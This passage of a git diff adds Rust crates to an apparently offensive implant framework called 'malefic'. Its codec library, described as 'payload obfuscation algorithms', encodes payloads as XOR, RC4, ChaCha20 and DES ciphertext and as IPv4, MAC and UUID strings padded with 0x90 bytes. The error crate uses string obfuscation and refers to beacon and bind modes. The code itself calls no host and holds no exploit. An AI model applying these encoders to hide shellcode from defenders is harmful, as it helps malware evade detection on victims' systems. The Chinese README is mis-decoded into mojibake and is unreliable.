String::from_utf8_lossy(data); + let input: Vec = text.bytes().collect(); + let mut result = Vec::new(); + + let mut i = 0; + while i < input.len() { + if i + 2 < input.len() { + let a = char_to_val(input[i]).unwrap_or(0); + let b = char_to_val(input[i + 1]).unwrap_or(0); + let c = char_to_val(input[i + 2]).unwrap_or(0); + let val = a + b * 45 + c * 45 * 45; + result.push((val / 256) as u8); + result.push((val % 256) as u8); + i += 3; + } else if i + 1 < input.len() { + let a = char_to_val(input[i]).unwrap_or(0); + let b = char_to_val(input[i + 1]).unwrap_or(0); + let val = a + b * 45; + result.push(val as u8); + i += 2; + } else { + break; + } + } + + result +} diff --git a/malefic-crates/codec/src/base58.rs b/malefic-crates/codec/src/base58.rs new file mode 100644 index 0000000..e82bb61 --- /dev/null +++ b/malefic-crates/codec/src/base58.rs @@ -0,0 +1,97 @@ +//! Base58 codec (Bitcoin alphabet) + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const BASE58_ALPHABET: &[u8] = b"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; + +fn char_to_val(c: u8) -> Option { + BASE58_ALPHABET + .iter() + .position(|&b| b == c) + .map(|p| p as u8) +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut leading_zeros = 0; + for &byte in data { + if byte == 0 { + leading_zeros += 1; + } else { + break; + } + } + + let mut digits: Vec = vec![0]; + for &byte in data { + let mut carry = byte as u32; + for digit in digits.iter_mut() { + carry += (*digit as u32) * 256; + *digit = (carry % 58) as u8; + carry /= 58; + } + while carry > 0 { + digits.push((carry % 58) as u8); + carry /= 58; + } + } + + let mut result = String::new(); + for _ in 0..leading_zeros { + result.push('1'); + } + for &digit in digits.iter().rev() { + result.push(BASE58_ALPHABET[digit as usize] as char); + } + + EncodeResult { + encoded: result.as_bytes().to_vec(), + key: vec![], + extra: vec![], + strings: vec![result], + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let input = text.trim(); + + let mut leading_ones = 0; + for c in input.chars() { + if c == '1' { + leading_ones += 1; + } else { + break; + } + } + + let mut digits: Vec = vec![0]; + for c in input.bytes() { + let val = match char_to_val(c) { + Some(v) => v as u32, + None => continue, + }; + + let mut carry = val; + for digit in digits.iter_mut() { + carry += (*digit as u32) * 58; + *digit = (carry % 256) as u8; + carry /= 256; + } + while carry > 0 { + digits.push((carry % 256) as u8); + carry /= 256; + } + } + + let mut result = Vec::with_capacity(leading_ones + digits.len()); + for _ in 0..leading_ones { + result.push(0); + } + for &d in digits.iter().rev() { + result.push(d); + } + + result +} diff --git a/malefic-crates/codec/src/base64.rs b/malefic-crates/codec/src/base64.rs new file mode 100644 index 0000000..d7e7276 --- /dev/null +++ b/malefic-crates/codec/src/base64.rs @@ -0,0 +1,92 @@ +//! Base64 codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const ALPHABET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +const DECODE_TABLE: [u8; 128] = { + let mut table = [0xFFu8; 128]; + let mut i = 0; + while i < 64 { + table[ALPHABET[i] as usize] = i as u8; + i += 1; + } + table +}; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut encoded = String::new(); + let mut i = 0; + + while i + 2 < data.len() { + let triple = ((data[i] as u32) << 16) | ((data[i + 1] as u32) << 8) | (data[i + 2] as u32); + encoded.push(ALPHABET[((triple >> 18) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 12) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 6) & 0x3F) as usize] as char); + encoded.push(ALPHABET[(triple & 0x3F) as usize] as char); + i += 3; + } + + let remaining = data.len() - i; + if remaining == 1 { + let triple = (data[i] as u32) << 16; + encoded.push(ALPHABET[((triple >> 18) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 12) & 0x3F) as usize] as char); + encoded.push('='); + encoded.push('='); + } else if remaining == 2 { + let triple = ((data[i] as u32) << 16) | ((data[i + 1] as u32) << 8); + encoded.push(ALPHABET[((triple >> 18) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 12) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 6) & 0x3F) as usize] as char); + encoded.push('='); + } + + EncodeResult { + encoded: encoded.as_bytes().to_vec(), + key: vec![], + extra: vec![], + strings: vec![encoded], + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let input: Vec = text + .bytes() + .filter(|b| !b.is_ascii_whitespace() && *b != b'=') + .collect(); + let mut result = Vec::with_capacity(input.len() * 3 / 4); + + let mut i = 0; + while i + 3 < input.len() { + let a = DECODE_TABLE[input[i] as usize] as u32; + let b = DECODE_TABLE[input[i + 1] as usize] as u32; + let c = DECODE_TABLE[input[i + 2] as usize] as u32; + let d = DECODE_TABLE[input[i + 3] as usize] as u32; + let triple = (a << 18) | (b << 12) | (c << 6) | d; + result.push((triple >> 16) as u8); + result.push((triple >> 8) as u8); + result.push(triple as u8); + i += 4; + } + + let remaining = input.len() - i; + if remaining == 2 { + let a = DECODE_TABLE[input[i] as usize] as u32; + let b = DECODE_TABLE[input[i + 1] as usize] as u32; + let triple = (a << 18) | (b << 12); + result.push((triple >> 16) as u8); + } else if remaining == 3 { + let a = DECODE_TABLE[input[i] as usize] as u32; + let b = DECODE_TABLE[input[i + 1] as usize] as u32; + let c = DECODE_TABLE[input[i + 2] as usize] as u32; + let triple = (a << 18) | (b << 12) | (c << 6); + result.push((triple >> 16) as u8); + result.push((triple >> 8) as u8); + } + + result +} diff --git a/malefic-crates/codec/src/chacha.rs b/malefic-crates/codec/src/chacha.rs new file mode 100644 index 0000000..2b6b1cb --- /dev/null +++ b/malefic-crates/codec/src/chacha.rs @@ -0,0 +1,45 @@ +//! ChaCha20 codec +//! Key: 32-byte key +//! Extra: 12-byte nonce + +use chacha20::cipher::{KeyIvInit, StreamCipher}; +use chacha20::ChaCha20; + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +fn apply_chacha(data: &[u8], key: &[u8], nonce: &[u8]) -> Vec { + let mut key_arr = [0u8; 32]; + let len = key.len().min(32); + key_arr[..len].copy_from_slice(&key[..len]); + + let mut nonce_arr = [0u8; 12]; + let nonce_len = nonce.len().min(12); + nonce_arr[..nonce_len].copy_from_slice(&nonce[..nonce_len]); + + let mut cipher = ChaCha20::new(&key_arr.into(), &nonce_arr.into()); + let mut buf = data.to_vec(); + cipher.apply_keystream(&mut buf); + buf +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut key = [0u8; 32]; + let mut nonce = [0u8; 12]; + malefic_common::random::fill(&mut key); + malefic_common::random::fill(&mut nonce); + + let encoded = apply_chacha(data, &key, &nonce); + + EncodeResult { + encoded, + key: key.to_vec(), + extra: nonce.to_vec(), + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], extra: &[u8]) -> Vec { + apply_chacha(data, key, extra) +} diff --git a/malefic-crates/codec/src/des.rs b/malefic-crates/codec/src/des.rs new file mode 100644 index 0000000..5e1d875 --- /dev/null +++ b/malefic-crates/codec/src/des.rs @@ -0,0 +1,100 @@ +//! DES-ECB codec +//! Key: 7-byte raw key (expanded to 8-byte DES key with parity bits, matching BOAZ) + +use cipher::KeyInit; +use des::Des; + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const BLOCK_SIZE: usize = 8; + +/// Convert 7-byte key to 8-byte DES key with parity bits +fn build_des_key_7to8(raw_key: &[u8]) -> [u8; 8] { + let mut raw7 = [0u8; 7]; + let len = raw_key.len().min(7); + raw7[..len].copy_from_slice(&raw_key[..len]); + + let mut inbits: u64 = 0; + for &b in &raw7 { + inbits = (inbits << 8) | b as u64; + } + + let mut out = [0u8; 8]; + let mut shift: i32 = 56 - 7; + for i in 0..8 { + let block_7 = ((inbits >> shift as u32) & 0x7F) as u8; + shift -= 7; + let bit_count = block_7.count_ones(); + let block_8 = (block_7 << 1) | if bit_count % 2 == 0 { 1 } else { 0 }; + out[i] = block_8; + } + out +} + +#[cfg(feature = "encoder")] +fn pkcs7_pad(data: &[u8]) -> Vec { + let pad_len = BLOCK_SIZE - (data.len() % BLOCK_SIZE); + let mut padded = data.to_vec(); + padded.extend(std::iter::repeat(pad_len as u8).take(pad_len)); + padded +} + +fn pkcs7_unpad(data: &mut Vec) { + if let Some(&pad_len) = data.last() { + let pad_len = pad_len as usize; + if pad_len > 0 && pad_len <= BLOCK_SIZE && data.len() >= pad_len { + let valid = data[data.len() - pad_len..] + .iter() + .all(|&b| b == pad_len as u8); + if valid { + data.truncate(data.len() - pad_len); + } + } + } +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + use cipher::BlockEncryptMut; + use ecb::Encryptor; + + type DesEcbEnc = Encryptor; + + let raw_key: [u8; 7] = *b"BOAZIST"; + let des_key = build_des_key_7to8(&raw_key); + + let padded = pkcs7_pad(data); + let cipher = DesEcbEnc::new(&des_key.into()); + let mut buf = padded.clone(); + let ct = cipher + .encrypt_padded_mut::(&mut buf, padded.len()) + .expect("DES encryption failed"); + + EncodeResult { + encoded: ct.to_vec(), + key: raw_key.to_vec(), + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + use cipher::BlockDecryptMut; + use ecb::Decryptor; + + type DesEcbDec = Decryptor; + + let des_key = build_des_key_7to8(key); + let cipher = DesEcbDec::new(&des_key.into()); + let mut buf = data.to_vec(); + + match cipher.decrypt_padded_mut::(&mut buf) { + Ok(pt) => { + let mut result = pt.to_vec(); + pkcs7_unpad(&mut result); + result + } + Err(_) => data.to_vec(), + } +} diff --git a/malefic-crates/codec/src/ipv4.rs b/malefic-crates/codec/src/ipv4.rs new file mode 100644 index 0000000..1a98388 --- /dev/null +++ b/malefic-crates/codec/src/ipv4.rs @@ -0,0 +1,47 @@ +//! IPv4 address codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +const PAD_BYTE: u8 = 0x90; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut padded = data.to_vec(); + while padded.len() % 4 != 0 { + padded.push(PAD_BYTE); + } + + let mut ipv4s = Vec::new(); + for chunk in padded.chunks(4) { + let ip = format!("{}.{}.{}.{}", chunk[0], chunk[1], chunk[2], chunk[3]); + ipv4s.push(ip); + } + + EncodeResult { + encoded: padded, + key: vec![], + extra: vec![], + strings: ipv4s, + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let mut result = Vec::new(); + + for line in text.lines() { + let line = line.trim(); + if line.is_empty() { + continue; + } + for part in line.split('.') { + if let Ok(b) = part.trim().parse::() { + result.push(b); + } + } + } + + result +} diff --git a/malefic-crates/codec/src/lib.rs b/malefic-crates/codec/src/lib.rs new file mode 100644 index 0000000..aa60fd2 --- /dev/null +++ b/malefic-crates/codec/src/lib.rs @@ -0,0 +1,44 @@ +//! Malefic Codec - Shared payload encoding/decoding library +//! +//! Provides symmetric encode/decode for 12 payload obfuscation algorithms. +//! Used by malefic-mutant (encode side) and malefic-starship (decode side). + +#[cfg(any(feature = "codec_aes", feature = "codec_aes2"))] +pub mod aes; +#[cfg(feature = "codec_aes2")] +pub mod aes2; +#[cfg(feature = "codec_base45")] +pub mod base45; +#[cfg(feature = "codec_base58")] +pub mod base58; +#[cfg(feature = "codec_base64")] +pub mod base64; +#[cfg(feature = "codec_chacha")] +pub mod chacha; +#[cfg(feature = "codec_des")] +pub mod des; +#[cfg(feature = "codec_ipv4")] +pub mod ipv4; +#[cfg(feature = "codec_mac")] +pub mod mac; +#[cfg(feature = "codec_rc4")] +pub mod rc4; +#[cfg(feature = "codec_uuid")] +pub mod uuid; +#[cfg(feature = "codec_xor")] +pub mod xor; + +use malefic_gateway::ObfDebug; + +/// Result of encoding a payload +#[derive(ObfDebug, Clone)] +pub struct EncodeResult { + /// The encoded payload bytes + pub encoded: Vec, + /// Key material (if applicable) + pub key: Vec, + /// Additional key material (nonce, IV, etc.) + pub extra: Vec, + /// String-based output (for UUID, MAC, IPv4, base encodings) + pub strings: Vec, +} diff --git a/malefic-crates/codec/src/mac.rs b/malefic-crates/codec/src/mac.rs new file mode 100644 index 0000000..488bb72 --- /dev/null +++ b/malefic-crates/codec/src/mac.rs @@ -0,0 +1,50 @@ +//! MAC address codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +const PAD_BYTE: u8 = 0x90; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut padded = data.to_vec(); + while padded.len() % 6 != 0 { + padded.push(PAD_BYTE); + } + + let mut macs = Vec::new(); + for chunk in padded.chunks(6) { + let mac = format!( + "{:02x}-{:02x}-{:02x}-{:02x}-{:02x}-{:02x}", + chunk[0], chunk[1], chunk[2], chunk[3], chunk[4], chunk[5] + ); + macs.push(mac); + } + + EncodeResult { + encoded: padded, + key: vec![], + extra: vec![], + strings: macs, + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let mut result = Vec::new(); + + for line in text.lines() { + let line = line.trim(); + if line.is_empty() { + continue; + } + for part in line.split('-') { + if let Ok(b) = u8::from_str_radix(part.trim(), 16) { + result.push(b); + } + } + } + + result +} diff --git a/malefic-crates/codec/src/rc4.rs b/malefic-crates/codec/src/rc4.rs new file mode 100644 index 0000000..cdc3693 --- /dev/null +++ b/malefic-crates/codec/src/rc4.rs @@ -0,0 +1,53 @@ +//! RC4 codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +fn rc4_ksa(key: &[u8]) -> [u8; 256] { + let mut s = [0u8; 256]; + for i in 0..256 { + s[i] = i as u8; + } + let mut j: u8 = 0; + for i in 0..256 { + j = j.wrapping_add(s[i]).wrapping_add(key[i % key.len()]); + s.swap(i, j as usize); + } + s +} + +fn rc4_crypt(data: &[u8], key: &[u8]) -> Vec { + let mut s = rc4_ksa(key); + let mut i: u8 = 0; + let mut j: u8 = 0; + let mut result = Vec::with_capacity(data.len()); + + for &byte in data { + i = i.wrapping_add(1); + j = j.wrapping_add(s[i as usize]); + s.swap(i as usize, j as usize); + let k = s[(s[i as usize].wrapping_add(s[j as usize])) as usize]; + result.push(byte ^ k); + } + + result +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut key = [0u8; 16]; + malefic_common::random::fill(&mut key); + + let encoded = rc4_crypt(data, &key); + + EncodeResult { + encoded, + key: key.to_vec(), + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + rc4_crypt(data, key) +} diff --git a/malefic-crates/codec/src/uuid.rs b/malefic-crates/codec/src/uuid.rs new file mode 100644 index 0000000..daa6330 --- /dev/null +++ b/malefic-crates/codec/src/uuid.rs @@ -0,0 +1,70 @@ +//! UUID codec - RFC 4122 byte-reordered UUID string encoding + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +const PAD_BYTE: u8 = 0x90; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut padded = data.to_vec(); + while padded.len() % 16 != 0 { + padded.push(PAD_BYTE); + } + + let mut uuids = Vec::new(); + for chunk in padded.chunks(16) { + let uuid = format!( + "{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}", + chunk[3], chunk[2], chunk[1], chunk[0], + chunk[5], chunk[4], + chunk[7], chunk[6], + chunk[8], chunk[9], + chunk[10], chunk[11], chunk[12], chunk[13], chunk[14], chunk[15] + ); + uuids.push(uuid); + } + + EncodeResult { + encoded: padded, + key: vec![], + extra: vec![], + strings: uuids, + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let mut result = Vec::new(); + + for line in text.lines() { + let line = line.trim(); + if line.is_empty() { + continue; + } + let hex: String = line.chars().filter(|c| c.is_ascii_hexdigit()).collect(); + if hex.len() != 32 { + continue; + } + + let bytes: Vec = (0..32) + .step_by(2) + .map(|i| u8::from_str_radix(&hex[i..i + 2], 16).unwrap_or(0)) + .collect(); + + if bytes.len() >= 16 { + result.push(bytes[3]); + result.push(bytes[2]); + result.push(bytes[1]); + result.push(bytes[0]); + result.push(bytes[5]); + result.push(bytes[4]); + result.push(bytes[7]); + result.push(bytes[6]); + result.extend_from_slice(&bytes[8..16]); + } + } + + result +} diff --git a/malefic-crates/codec/src/xor.rs b/malefic-crates/codec/src/xor.rs new file mode 100644 index 0000000..89ead36 --- /dev/null +++ b/malefic-crates/codec/src/xor.rs @@ -0,0 +1,21 @@ +//! XOR codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let key = malefic_common::random::random_u8(); + let encoded: Vec = data.iter().map(|b| b ^ key).collect(); + EncodeResult { + encoded, + key: vec![key], + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + let k = key[0]; + data.iter().map(|b| b ^ k).collect() +} diff --git a/malefic-crates/common/Cargo.toml b/malefic-crates/common/Cargo.toml new file mode 100644 index 0000000..a3706d5 --- /dev/null +++ b/malefic-crates/common/Cargo.toml @@ -0,0 +1,35 @@ +[package] +name = "malefic-common" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +register_info = [] + +# Runtime +async-std = ["dep:async-std"] +tokio = ["dep:tokio"] +smol = ["dep:smol"] + +# Random backend (mutually exclusive) +random_nanorand = ["dep:nanorand"] +random_getrandom = ["dep:getrandom"] + +[dependencies] +async-trait = { workspace = true } +thiserror = { workspace = true } +anyhow = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +malefic-gateway = { workspace = true } + +async-std = { workspace = true, optional = true } +tokio = { workspace = true, features = ["rt", "rt-multi-thread"], optional = true } +smol = { workspace = true, optional = true } + +nanorand = { workspace = true, optional = true } +getrandom = { workspace = true, optional = true } + +[target.'cfg(all(target_os = "linux", target_env = "gnu"))'.dependencies] +libc = { workspace = true } diff --git a/malefic-crates/common/README.md b/malefic-crates/common/README.md new file mode 100644 index 0000000..8b5ffda --- /dev/null +++ b/malefic-crates/common/README.md @@ -0,0 +1,90 @@ +# malefic-common + +共享错误类型与异步è¿è¡Œæ—¶æŠ½è±¡ï¼Œä¸ºä¸Šå±‚æ¨¡å—æä¾›ç»Ÿä¸€çš„é”™è¯¯å¤„ç†å’Œè¿è¡Œæ—¶æŽ¥å£ã€‚ + +## 功能简介 + +- **统一错误类型**:定义 `MaleficError` å’Œ `CommonError` ä¸¤å¥—é”™è¯¯æžšä¸¾ï¼Œè¦†ç›–ä»»åŠ¡è°ƒåº¦ã€æ¨¡å—管ç†ã€ä¼ è¾“层ã€IO 等场景 +- **异步è¿è¡Œæ—¶æŠ½è±¡**:通过 feature gate 在 `async-std`ã€`tokio`ã€`smol` 三ç§è¿è¡Œæ—¶ä¹‹é—´åˆ‡æ¢ï¼Œå¯¹å¤–暴露统一的 `spawn`ã€`spawn_blocking`ã€`Handle` æŽ¥å£ +- **å¯å–æ¶ˆä»»åŠ¡å¥æŸ„**:æä¾› `CancellableHandle` trait 与 `RuntimeHandle` 类型,支æŒå¯¹å¼‚æ­¥ä»»åŠ¡çš„ç»Ÿä¸€å–æ¶ˆæ“作 +- **底层工具函数**:指针算术ã€DJB2 字符串哈希ã€C/宽字符串长度计算ã€å‘½ä»¤è¡Œæ ¼å¼åŒ–等实用工具 +- **辅助å®**:`check_body!` 用于æå–和校验消æ¯ä½“,`to_error!` 统一错误转æ¢ï¼Œ`debug!` æ¡ä»¶ç¼–译调试输出 + +## Features + +| Feature | 说明 | +|---------|------| +| `async-std` | 使用 async-std 作为异步è¿è¡Œæ—¶ | +| `tokio` | 使用 tokio 作为异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 作为异步è¿è¡Œæ—¶ | +| `register_info` | å¯ç”¨æ³¨å†Œä¿¡æ¯ç›¸å…³åŠŸèƒ½ | + +> 三个è¿è¡Œæ—¶ feature 互斥,构建时åªèƒ½å¯ç”¨å…¶ä¸­ä¸€ä¸ªã€‚ + +## 基本用法 + +### å¼‚æ­¥ä»»åŠ¡æ´¾å‘ + +```rust +use malefic_common::{spawn, spawn_blocking, Handle}; + +// æ´¾å‘异步任务 +let handle: Handle<()> = spawn(async { + // 异步逻辑 +}); + +// æ´¾å‘阻塞任务到专用线程 +let result = spawn_blocking(|| { + // 阻塞计算 +}); +``` + +### å–æ¶ˆä»»åŠ¡ + +```rust +use malefic_common::{RuntimeHandle, CancellableHandle}; +use std::sync::{Arc, Mutex}; + +let handle: RuntimeHandle = Arc::new(Mutex::new(None)); +// ... å¯åŠ¨ä»»åŠ¡åŽå­˜å…¥ handle ... +handle.cancel(); // ç»Ÿä¸€å–æ¶ˆæŽ¥å£ï¼Œåº•层自动适é…ä¸åŒè¿è¡Œæ—¶ +``` + +### é”™è¯¯å¤„ç† + +```rust +use malefic_common::error::MaleficError; +use malefic_common::common_error::CommonError; + +// MaleficError æä¾›æ•°å­— ID,便于åºåˆ—化传输 +let err = MaleficError::ModuleNotFound; +assert_eq!(err.id(), 5); +``` + +### è¾…åŠ©å® + +```rust +use malefic_common::{check_body, to_error, debug}; + +// æ¡ä»¶ç¼–译调试输出(仅 debug 构建生效) +debug!("current state: {:?}", state); + +// ç»Ÿä¸€é”™è¯¯è½¬æ¢ +let result = to_error!(some_fallible_call()); +``` + +### 工具函数 + +```rust +use malefic_common::utils::dbj2_str_hash; + +let hash = dbj2_str_hash(b"KERNEL32.DLL"); +``` + +## å‚考链接 + +- [thiserror - 派生å®é”™è¯¯ç±»åž‹](https://docs.rs/thiserror) +- [async-trait](https://docs.rs/async-trait) +- [tokio](https://docs.rs/tokio) +- [async-std](https://docs.rs/async-std) +- [smol](https://docs.rs/smol) diff --git a/malefic-crates/common/src/errors.rs b/malefic-crates/common/src/errors.rs new file mode 100644 index 0000000..c739130 --- /dev/null +++ b/malefic-crates/common/src/errors.rs @@ -0,0 +1,271 @@ +pub use thiserror::Error; + +use malefic_gateway::obfstr::obfstr; +use std::time::{SystemTime, UNIX_EPOCH}; + +// ---- Utility macros ---- + +#[macro_export] +macro_rules! to_error { + ($expr:expr) => { + $expr.map_err(|e| anyhow::Error::msg(format!("{:#?}", e))) + }; +} + +#[macro_export] +macro_rules! debug { + ($($arg:tt)*) => { + #[cfg(debug_assertions)] + { + println!( + "[{}] {}", + $crate::errors::debug_timestamp(), + format_args!($($arg)*) + ); + } + }; +} + +pub fn debug_timestamp() -> String { + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default(); + let secs = now.as_secs(); + let hours = (secs / 3600) % 24; + let minutes = (secs / 60) % 60; + let seconds = secs % 60; + let millis = now.subsec_millis(); + format!("{:02}:{:02}:{:02}.{:03}", hours, minutes, seconds, millis) +} + +// ---- TaskError (moved from malefic-module) ---- + +#[derive(Debug)] +pub enum TaskError { + OperatorError(anyhow::Error), + NotExpectBody, + FieldRequired { msg: String }, + FieldLengthMismatch { msg: String }, + FieldInvalid { msg: String }, + NotImpl, +} + +impl std::fmt::Display for TaskError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + TaskError::OperatorError(e) => std::fmt::Display::fmt(e, f), + TaskError::NotExpectBody => f.write_str(obfstr!("task body was not expected")), + TaskError::FieldRequired { msg } => f.write_str(msg), + TaskError::FieldLengthMismatch { msg } => f.write_str(msg), + TaskError::FieldInvalid { msg } => f.write_str(msg), + TaskError::NotImpl => f.write_str(obfstr!("task not implemented")), + } + } +} + +impl std::error::Error for TaskError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + TaskError::OperatorError(e) => e.source(), + _ => None, + } + } +} + +impl From for TaskError { + fn from(e: anyhow::Error) -> Self { + TaskError::OperatorError(e) + } +} + +impl TaskError { + pub fn id(&self) -> i32 { + match self { + TaskError::OperatorError { .. } => 2, + TaskError::NotExpectBody => 3, + TaskError::FieldRequired { .. } => 4, + TaskError::FieldLengthMismatch { .. } => 5, + TaskError::FieldInvalid { .. } => 6, + TaskError::NotImpl => 99, + } + } +} + +// ---- MaleficError (moved from error.rs) ---- + +#[derive(Debug)] +pub enum MaleficError { + Panic(anyhow::Error), + + UnpackError, + + MissBody, + + UnExceptBody, + + ModuleError, + + ModuleNotFound, + + AddonNotFound, + + TaskError(TaskError), + + TransportError(String), + + TaskNotFound, + + TaskOperatorNotFound, + + /// Internal module that only makes sense in beacon/bind mode (not headless). + BeaconOnly(String), +} + +impl std::fmt::Display for MaleficError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + MaleficError::Panic(e) => std::fmt::Display::fmt(e, f), + MaleficError::UnpackError => f.write_str(obfstr!("failed to unpack data")), + MaleficError::MissBody => f.write_str(obfstr!("expected body is missing")), + MaleficError::UnExceptBody => f.write_str(obfstr!("unexpected body type")), + MaleficError::ModuleError => f.write_str(obfstr!("module execution failed")), + MaleficError::ModuleNotFound => f.write_str(obfstr!("module not found")), + MaleficError::AddonNotFound => f.write_str(obfstr!("addon not found")), + MaleficError::TaskError(e) => write!(f, "{}: {}", obfstr!("Task error"), e), + MaleficError::TransportError(s) => write!(f, "{}: {}", obfstr!("Transport"), s), + MaleficError::BeaconOnly(s) => write!(f, "{}: {}", obfstr!("beacon-only module"), s), + MaleficError::TaskNotFound => f.write_str(obfstr!("task not found")), + MaleficError::TaskOperatorNotFound => f.write_str(obfstr!("task operator not found")), + } + } +} + +impl std::error::Error for MaleficError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + MaleficError::Panic(e) => e.source(), + MaleficError::TaskError(e) => Some(e), + _ => None, + } + } +} + +impl From for MaleficError { + fn from(e: anyhow::Error) -> Self { + MaleficError::Panic(e) + } +} + +impl From for MaleficError { + fn from(e: TaskError) -> Self { + MaleficError::TaskError(e) + } +} + +impl MaleficError { + pub fn id(&self) -> u32 { + match self { + MaleficError::Panic { .. } => 1, + MaleficError::UnpackError => 2, + MaleficError::MissBody => 3, + MaleficError::ModuleError => 4, + MaleficError::ModuleNotFound => 5, + MaleficError::TaskError { .. } => 6, + MaleficError::TaskNotFound => 7, + MaleficError::TaskOperatorNotFound => 8, + MaleficError::AddonNotFound => 9, + MaleficError::UnExceptBody => 10, + MaleficError::TransportError { .. } => 11, + MaleficError::BeaconOnly { .. } => 12, + } + } +} + +// ---- CommonError (moved from common_error.rs) ---- + +#[derive(Debug)] +pub enum CommonError { + AnyError(anyhow::Error), + + Win32Error(u32), + + AllocationFailed, + + IOError(std::io::Error), + + FreeFailed, + + NotImpl, + + ArgsError(String), +} + +impl std::fmt::Display for CommonError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + CommonError::AnyError(e) => std::fmt::Display::fmt(e, f), + CommonError::Win32Error(code) => write!(f, "{}", code), + CommonError::AllocationFailed => f.write_str(obfstr!("memory allocation failed")), + CommonError::IOError(e) => std::fmt::Display::fmt(e, f), + CommonError::FreeFailed => f.write_str(obfstr!("memory free failed")), + CommonError::NotImpl => f.write_str(obfstr!("not implemented")), + CommonError::ArgsError(s) => f.write_str(s), + } + } +} + +impl std::error::Error for CommonError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + CommonError::AnyError(e) => e.source(), + CommonError::IOError(e) => Some(e), + _ => None, + } + } +} + +impl From for CommonError { + fn from(e: anyhow::Error) -> Self { + CommonError::AnyError(e) + } +} + +impl From for CommonError { + fn from(e: std::io::Error) -> Self { + CommonError::IOError(e) + } +} + +// ---- Defer ---- + +pub struct Defer { + #[allow(dead_code)] + message: String, +} +impl Defer { + pub fn new(message: &str) -> Self { + Defer { + message: message.to_string(), + } + } +} + +impl Drop for Defer { + fn drop(&mut self) { + debug!("{}", self.message); + } +} + +#[cfg(test)] +mod tests { + use super::debug_timestamp; + + #[test] + fn debug_timestamp_has_expected_shape() { + let ts = debug_timestamp(); + assert_eq!(ts.len(), 12); + assert_eq!(&ts[2..3], ":"); + assert_eq!(&ts[5..6], ":"); + assert_eq!(&ts[8..9], "."); + } +} diff --git a/malefic-crates/common/src/getrandom_compat.rs b/malefic-crates/common/src/getrandom_compat.rs new file mode 100644 index 0000000..6eb3d9e --- /dev/null +++ b/malefic-crates/common/src/getrandom_compat.rs @@ -0,0 +1,17 @@ +//! Linker shim: strong `getrandom()` symbol for glibc < 2.25 cross-compilation. +//! +//! Rust std uses `#[linkage = "extern_weak"]` to reference `getrandom()`, +//! but zig's linker (targeting old glibc) cannot resolve the weak symbol. +//! This strong definition overrides the weak reference. It forwards directly +//! to `syscall(SYS_getrandom, ...)` which works on kernels >= 3.17. + +#[no_mangle] +pub unsafe extern "C" fn getrandom( + buf: *mut core::ffi::c_void, + buflen: usize, + flags: core::ffi::c_uint, +) -> isize { + // libc::syscall() already handles errno (returns -1 and sets errno on error), + // so we just forward the return value directly. + libc::syscall(libc::SYS_getrandom, buf, buflen, flags) as isize +} diff --git a/malefic-crates/common/src/lib.rs b/malefic-crates/common/src/lib.rs new file mode 100644 index 0000000..99268d3 --- /dev/null 